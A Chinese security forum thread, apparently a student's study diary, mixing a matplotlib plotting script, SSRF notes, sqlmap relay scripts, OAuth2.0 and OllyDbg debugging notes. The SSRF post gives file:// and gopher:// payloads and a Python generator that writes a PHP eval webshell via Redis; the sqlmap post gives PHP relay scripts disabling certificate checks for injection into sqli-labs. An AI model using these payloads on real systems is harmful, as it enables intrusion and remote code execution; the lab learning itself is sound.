安全矩阵

 找回密码
 立即注册
搜索
楼主: pukr

陈艺琳的学习日记

[复制链接]

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
 楼主| 发表于 2021-10-20 20:40:36 | 显示全部楼层
画出分层数据散点图28.xlsx数据:
​​
需要做的是找出每一列数据并关联num字段进行分组,染上不同颜色画出散点图。
  1. import xlrd
  2. import matplotlib.pyplot as plt

  3. file = "./28.xlsx"
  4. workbook1 = xlrd.open_workbook(filename=file)
  5. sheet1 = workbook1.sheet_by_index(0)
  6. # print(sheet1.row_values(1))

  7. fig = plt.figure(figsize=(15, 9))

  8. for j in range(0, 28):
  9.     x = [[] for k in range(4)]
  10.     y = [[] for k in range(4)]
  11.     for i in range(1, sheet1.nrows):
  12.     # if sheet1.row_values(i)[29] < 3:
  13.         x[3].append(sheet1.row_values(i)[j])
  14.         y[3].append(sheet1.row_values(i)[28])
  15.         if sheet1.row_values(i)[29] >= 3:
  16.             x[2].append(sheet1.row_values(i)[j])
  17.             y[2].append(sheet1.row_values(i)[28])
  18.             if sheet1.row_values(i)[29] >= 4:
  19.                 x[1].append(sheet1.row_values(i)[j])
  20.                 y[1].append(sheet1.row_values(i)[28])
  21.                 if sheet1.row_values(i)[29] == 5:
  22.                 x[0].append(sheet1.row_values(i)[j])
  23.                 y[0].append(sheet1.row_values(i)[28])

  24.     ax = fig.add_subplot(4, 7, j+1)
  25.     ax.set_title(sheet1.row_values(0)[j])
  26.     ax.scatter(x[3], y[3], c='grey', alpha=0.2)
  27.     ax.scatter(x[2], y[2], c='r', alpha=0.4)
  28.     ax.scatter(x[1], y[1], c='b', alpha=0.6)
  29.     ax.scatter(x[0], y[0], c='g', alpha=0.8)

  30. plt.tight_layout()
  31. plt.show()

复制代码
效果图:
​​
回复

使用道具 举报

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
 楼主| 发表于 2021-10-28 22:02:02 | 显示全部楼层
本帖最后由 pukr 于 2021-10-30 21:08 编辑

SSRF(Server-Side Request Forgery,服务器端请求伪造),由攻击者构造请求,服务器端发送请求。一般的目标是外网无法访问到的内网系统。
原理应用
大多是因为服务器端提供从其他服务器获取数据的功能而没有对目标地址做出过滤。SSRF利用存在缺陷的Web应用作为代理攻击远程和本地服务器。
主要攻击方式:
  • 对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner。
  • 攻击运行在内网或者本地的应用程序。
  • 对内网Web应用进行指纹识别,识别企业内部的资产信息。
  • 攻击内外网的Web应用,主要是使用HTTP GET就可以实现的攻击(如struts2、SQli等)。
  • file等协议读取本地文件。

代码分析
  1. <?php
  2. function curl($url){
  3.         $ch = curl_init();
  4.         curl_setopt($ch, CURLOPT_URL, $url);
  5.         curl_setopt($ch, CURLOPT_HEADER, 0);
  6.         curl_exec($ch);
  7.         curl_close($ch);
  8. }
  9. $url = $_GET['url'];
  10. curl($url);
  11. ?>
复制代码
利用点(CTFHub整理)内网访问www.example.com/ssrf.php?url=127.0.0.1/flag.php伪协议读取文件
得到一个ssrf后要测试一下所有的伪协议能否利用。
file:///dict:///sftp://ldap://tftp://gopher://
file://
这种URL Schema可以尝试从文件系统中获取文件:
www.example.com/ssrf.php?url=file:///var/www/html/flag.phpdict://
  • 本地利用
  • 远程利用在存在ssrf地方输入:

dict://127.0.0.1:22
查看banner。可以利用burp爆破查看开启了什么服务。
sftp://
sftp代表SSH文件传输协议(SSH File Transfer Protocol),或安全文件传输协议(Secure File Transfer Protocol),这是一种与SSH打包在一起的单独协议,通过sftp协议获取SSH相关信息:
Kali机器上输入:nc -lvp 1234在存在SSRF处输入:sftp://10.1.1.200:1234
tftp://
tftp即简单文件传输协议,允许客户端从远程主机获取文件:
Kali机器上输入:nc -lvup 6666-u:使用UDP传输协议。在SSRF处输入:tftp://10.1.1.200:6666
ldap://或ldaps:// 或ldapi://
LDAP代表轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议。
url=ldap://localhost:1337/%0astats%0aquit
url=ldaps://localhost:1337/%0astats%0aquit
url=ldapi://localhost:1337/%0astats%0aquitgopher://
Gopher是一种分布式文档传递服务。利用该服务,用户可以无缝地浏览、搜索和检索驻留在不同位置的信息。通过SSRF漏洞,让服务器发送自己精心构造的GET或者POST请求包
gopher://<host>:<post>/<gopher-path>_后面接TCP数据流
利用要点
PHP版本大于等于5.3
PHP.ini开启了php_curl
gopher没有默认端口,需要指定:gopher://127.0.0.1:80
在传送GET或POST数据时需要经过二次URl编码url编码时回车换行需要使用%0d%0a替换%0a
POST中的&也需要url编码。

利用方式:
1.利用SSRF进行内网渗透2.gopher协议反弹shell3.超级经典的redis写入webshell

转换脚本:
  1. import urllib
  2. protocol="gopher://"
  3. ip="192.168.163.128"
  4. port="6379"
  5. shell="\n\n<?php eval($_GET["cmd"]);?>\n\n"
  6. filename="shell.php"
  7. path="/var/www/html"
  8. passwd=""
  9. cmd=["flushall",
  10.      "set 1 {}".format(shell.replace(" ","${IFS}")),
  11.      "config set dir {}".format(path),
  12.      "config set dbfilename {}".format(filename),
  13.      "save"
  14.      ]
  15. if passwd:
  16.     cmd.insert(0,"AUTH {}".format(passwd))
  17. payload=protocol+ip+":"+port+"/_"
  18. def redis_format(arr):
  19.     CRLF="\r\n"
  20.     redis_arr = arr.split(" ")
  21.     cmd=""
  22.     cmd+="*"+str(len(redis_arr))
  23.     for x in redis_arr:
  24.         cmd+=CRLF+"[        DISCUZ_CODE_1        ]quot;+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
  25.     cmd+=CRLF
  26.     return cmd

  27. if __name__=="__main__":
  28.     for x in cmd:
  29.         payload += urllib.quote(redis_format(x))
  30.     print payload
复制代码
另一个常用工具Gopherus,在github上。

端口扫描
使用dict协议进行端口扫描



回复

使用道具 举报

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
 楼主| 发表于 2021-10-28 22:03:06 | 显示全部楼层
在复现ssrf+gopher+redis反弹shell,虽然一直没有成功,但是先占楼明天说不定就出来了
回复

使用道具 举报

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
 楼主| 发表于 2021-10-30 11:13:17 | 显示全部楼层
pukr 发表于 2021-10-28 22:03
在复现ssrf+gopher+redis反弹shell,虽然一直没有成功,但是先占楼明天说不定就出来了 ...

没出来,法克
回复

使用道具 举报

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
 楼主| 发表于 2021-10-30 11:18:41 | 显示全部楼层
今天学习到一篇文章,讲的是如何利用sqlmap对有ssl通信的网站进行注入。sqlmap原本没有绕过ssl的temper,所以这时候就需要自己建立一个中转脚本,可以忽略ssl进行访问。如PHP的curl。
原文链接:实战sqlmap绕过WAF<!--more-->
原理
原理就是利用PHP的curl模块可以选择不验证证书和hosts,然后curl请求有ssl的注入点,如图。
​​
​​
关于ssl的相关知识可以百度、B站、知乎进行搜索。
测试
没有找到应用了ssl的注入点。。于是只能用sqli-labs看看具体操作。Ubuntu在昨天做ssrf的时候刚好开启了PHP的curl,于是就用ubuntu做中转了,其实windows、kali、ubuntu都可以,而且kali做中转最快,因为是本地。
GET型
中转脚本:
  1. <?php
  2. set_time_limit(0);
  3. $id=$_GET["id"];
  4. $id=str_replace(" ","/**/",$id);
  5. $id=str_replace("=","%3D",$id); //这些编码机制可以自己的需求设定,毕竟实战的环境变换多样
  6. $url = "http://192.168.0.161:8081/sqli-labs-master/Less-1/?id=".$id;
  7. echo $url;
  8. $ch = curl_init();
  9. curl_setopt($ch, CURLOPT_URL, "$url");
  10. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); // https请求 不验证证书
  11. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);//https请求 不验证hosts
  12. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // 函数执行如果成功只将结果返回,不自动输出任何内容。如果失败返回FALSE
  13. curl_setopt($ch, CURLOPT_HEADER, 0);//如果你想把一个头包含在输出中,设置这个选项为一个非零值   
  14. $output = curl_exec($ch);
  15. curl_close($ch);
  16. print_r($output);
  17. ?>
复制代码

然后kali使用sqlmap:
  1. sqlmap -u "http://192.168.0.171/zz.php?id=1" -v 3 --batch -tecnueq U
复制代码
使用wireshark抓包看看payload:
​​
成功注入:为什么这么慢啊哭,半个小时。。
​​
POST型
中转脚本:
  1. <?php
  2. $url = "http://192.168.0.161:8081/sqli-labs-master/Less-11/";
  3. $sql = $_GET[s];//获取中转脚本传过来的payload
  4. $s = urlencode($sql);
  5. $params = "uname=admin$s&passwd=aa";
  6. $ch = curl_init();// 创建一个新cURL资源
  7. curl_setopt($ch, CURLOPT_URL, $url);//这是你想用PHP取回的URL地址,可以在用curl_init()函数初始化时设置这个选项
  8. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); // https请求 不验证证书
  9. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);//https请求 不验证hosts
  10. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // 函数执行如果成功只将结果返回,不自动输出任何内容。如果失败返回FALSE
  11. curl_setopt($ch, CURLOPT_HEADER, 0);//如果你想把一个头包含在输出中,设置这个选项为一个非零值   
  12. curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; MSIE 5.01; Windows NT 5.0)');// 在HTTP请求中自定义一个”user-agent”头的字符串
  13. curl_setopt($ch, CURLOPT_TIMEOUT, 15);//为了应对目标服务器的过载,下线,或者崩溃等可能状况。
  14. curl_setopt($ch, CURLOPT_POST, 1);    // post 提交方式
  15. curl_setopt($ch, CURLOPT_POSTFIELDS, $params);
  16. // 抓取URL并把它传递给浏览器
  17. $output = curl_exec($ch);
  18. // 关闭cURL资源,并且释放系统资源
  19. curl_close($ch);
  20. $a = strlen($output);
  21. //echo $a;
  22. if($a==2846){
  23.     echo "1";
  24. }else{
  25.     echo "2";
  26. }
复制代码
kali打开sqlmap:
  1. root@kali430:~# sqlmap -u "http://192.168.0.171/zzpost.php?s=1" --batch --dbms mysql
复制代码
wireshark查看payload:

成功注入:
​​
​​


回复

使用道具 举报

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
 楼主| 发表于 2021-11-5 21:57:52 | 显示全部楼层
关于解决windows平台安装gmpy2失败的问题。

真的让人烦躁,查了半天解决方案。

我首先下载了whl文件想利用这个安装,然后找到了这个gmpy2-2.1.0rc1-cp37-cp37-win_amd64.whl(1.0 MB)
​​
按照百度说的放到C:\Users\Administrator\Python\Python37\Scripts目录下,但是安装报错
ERROR: gmpy2-2.1.0rc1-cp37-cp37-win_amd64.whl is not a supported wheel on this platform.
啊??我这明明是win的,看发行版本也没有其他的win了,为什么不支持呢。。

继续百度,解决方案:
首先进入python交互环境查看支持的平台:
​​
​​发现需要cp37-cp37m的,而我们找到的是cp37-cp37。。无语中
百度搜一份gmpy2-2.0.8-cp37-cp37m-win_amd64.whl
安装成功,可以引用了。
回复

使用道具 举报

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
 楼主| 发表于 2021-11-9 23:32:51 | 显示全部楼层
更新维纳攻击。在密码学板块
回复

使用道具 举报

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
 楼主| 发表于 2021-11-21 19:33:21 | 显示全部楼层
点击按钮触发timer:
开始时设置enable为false,在按钮处设置为true。

关于OAuth2.0
OAuth2.0是一个开放的标准,允许用户授权第三方应用程序访问他们存储在另外的服务提供者上的信息,而不需要将用户名和密码提供给第三方应用程序或分享他们数据的所有内容。

OAuth2.0协议的认证流程,简单理解就是允许我们将之前的授权和认证过程交给一个独立的第三方进行担保。

相关术语:
1. 资源所有者(Resource Owner)
一般指用户,也可以是应用程序。

2. 资源服务器(Resource Server)
托管受保护资源的服务器。比如网站用户管理服务器存储了网站用户信息,网站相册服务器存储了用户的相册信息。客户端最终访问资源服务器获取资源信息。

3. 客户端(Client)
通常是指代理用户发起受保护资源请求的客户端应用程序。本身不存储资源,需要通过资源拥有者的授权去请求资源服务器的资源,比如Android客户端,web客户端(浏览器端)、微信用户等。

4. 授权服务器(Authorization Server)
也称认证服务器。对资源拥有者的身份进行认证,对访问资源进行授权。客户端想要访问资源,需要通过认证服务器由资源拥有者授权后,才可访问。

5. 访问令牌(Access Token)

6. 刷新令牌(Refresh Token)
​​

(A)客户端向授权服务器发送授权申请,获取授权信息
(B)授权服务器返回一个access token和refresh token
(C)客户端带着access token向资源服务器发送申请,获取受保护的资源。
(D)资源服务器返回受保护的资源
(E)客户端带着access token向资源服务器发送申请,获取受保护的资源。
(F)资源服务器发现令牌过期了,返回令牌错误
(G)客户端通过refresh token向授权服务器发送授权申请
(H)授权服务器直接返回一个access token和一个可选的refresh token,不需要再经过一遍OAuth2.0认证流程。

OAuth2.0的四种基本认证方式:

1. 授权码模式





最复杂也是最安全、用的最多的一种模式。Resource Owner一般就是用户,User-Agent用户代理一般可以是浏览器,这里的客户端一般是普通的Web API、原生移动APP、基于浏览器的Web应用和无浏览器的嵌入式后端应用
(A)首先客户端通过一个用户代理去授权服务器进行授权,这时他会携带客户端的一个标识以及一个重定向的URI。
(B)到达授权服务器之后会让资源拥有者进行授权。
(C)授权完成之后资源服务器会根据用户授权结果返回一个授权码。这个时候还没有拿到令牌,只是拿到了一个授权码。用户代理将授权码返回给客户端。
(D)客户端将授权码和重定向的URI再授权服务器申请一个令牌。
(E)授权服务器就会根据客户端拿过来的授权码返回给客户端access token或者refresh token。


2. 简化模式





相比授权码模式多了后台客户端资源这一项,跳过了客户端应用程序向授权服务器获取授权码的步骤,适用于无server端的客户端应用程序授权验证场景。这时候的客户端一般仅仅是单一客户端架构的应用程序。如移动端应用、桌面客户端应用、浏览器插件以及基于JS等脚本客户端语言实现的应用。
(A)客户端通过用户代理向授权服务器发送授权请求,请求中带上客户端标识和重定向的URI。
(B)到达授权服务器之后会让资源拥有者进行授权。
(C)授权完成之后资源服务器会根据用户授权结果返回重定向的URI,URI中带有access token,access token放在fragment中。
(D)浏览器将重定向的URI传入后台客户端资源
(E)后台客户端资源返回一个JS脚本,根据JS脚本解析获取到token。

少了授权码,但是token 也不是直接返回的,是放在了一个fragment中返回一个重定向的URI,拿这个URI去后台客户资源中解析获取token。

3. 密码模式


​​


用户把密码给客户端,客户端带着用户的密码直接去向授权服务器发送请求,授权服务器根据用户的密码直接返回一个令牌(access token或者refresh token)。
密码模式的安全性较差,逐渐被客户端模式所取代。

4. 客户端模式






客户端向授权服务器发送授权申请,授权服务器返回一个令牌,不需要用到用户。

如docker客户端拉取镜像,先去申请镜像的一个令牌,然后根据令牌直接拉取镜像。更多是机器与机器之间的对接。


回复

使用道具 举报

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
 楼主| 发表于 2021-12-15 17:47:04 | 显示全部楼层
ollydbg修改exe小游戏的分数,第一次完成;-)所以记录下来。

​​


首先搜索一下score字符串


​​


右键->查找文本->SCORE


​​


双击进入,可以看到压入了energy和score两个参数后,传入格式化字符串,call printf。


​​


同时注意到,score压入的是eax寄存器的值。我曾设想修改eax寄存器的值,然后发现敌人每移动一点就会重新进行一次函数,我的值就被覆盖掉了。所以应该是从内存中取数据的,修改也是修改内存中的数据。
玩两把,先修改一下分数。然后在下面的地址下个断点。然后f9继续运行

​​


观察到energy的值已经变了,在内存中跟踪一下这个数据


​​


​​
观察到0x16和0x3A就是energy和score的值。修改这两个值为04d2(1234)和10e1(4321)。注意要反着改!d240和e110
修改完成。



回复

使用道具 举报

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
 楼主| 发表于 2021-12-19 16:43:04 | 显示全部楼层
pushad:将寄存器值保存在栈中
popad:恢复寄存器的值
用OllyDBG和OllyDump做了什么呢?
将upx打包器添加的用于解压的那部分代码在od里运行,然后将解压到内存中的可执行数用ollydump转储到文件中。其实,开头的pushad和popad中间的逻辑就是用于解压的代码。
具体来说,在运行解压程序之前,先将当前寄存器状态保存在栈中,在解压结束之后再从栈中恢复寄存器状态。这样一来,寄存器的值就恢复到了运行解压程序之前的状态,便于正确运行解压之后真正的代码。

常用断点
1. int3
原理:将原来程序这一行指令替换为int3,机器码为CC。OD运行中检测到int3指令(CC)的时候就会引发异常并捕获它,程序中断。然后OD将int3指令删除,还原之前的代码,继续运行。
优点:无限个int3断点
缺点:容易被检测到

2. 硬件断点
原理:
8个调试寄存器DR0~DR7
DR0~DR3:保存断点地址。所以硬件断点在物理上最多只能有4个。
DR6:状态寄存器
DR7:控制寄存器,设置相应控制位达到断点的效果。
硬件断点与调试寄存器有关。程序执行到DR0~3记录的地址的时候,CPU向OD发送异常信息,然后程序中断,等待用户操作。
缺点:只能设置4个硬件断点。
优点:速度快,不易被检测

3. 内存断点
原理:对这个地址赋予了不可读不可写不可执行的属性,程序运行到这里后会产生一个异常,OD捕获这个异常,程序中断。
​​
与硬件断点相比,内存断点会停在当前内存指令,硬件断点会停在当前内存指令的下一条指令。
优点:不改变汇编代码,只改变地址属性
缺点:无

4. 消息断点
注:Windows系统就是基于消息运行的。

5. 条件断点
shift+f2

6. 内存访问一次性断点和条件记录断点
内存访问一次性断点
alt+m或者直接点“M”进入内存
​​

​​
执行断在这里之后,断点自动删除。

条件记录断点
shift+f4

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 00:38 , Processed in 0.017599 second(s), 17 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表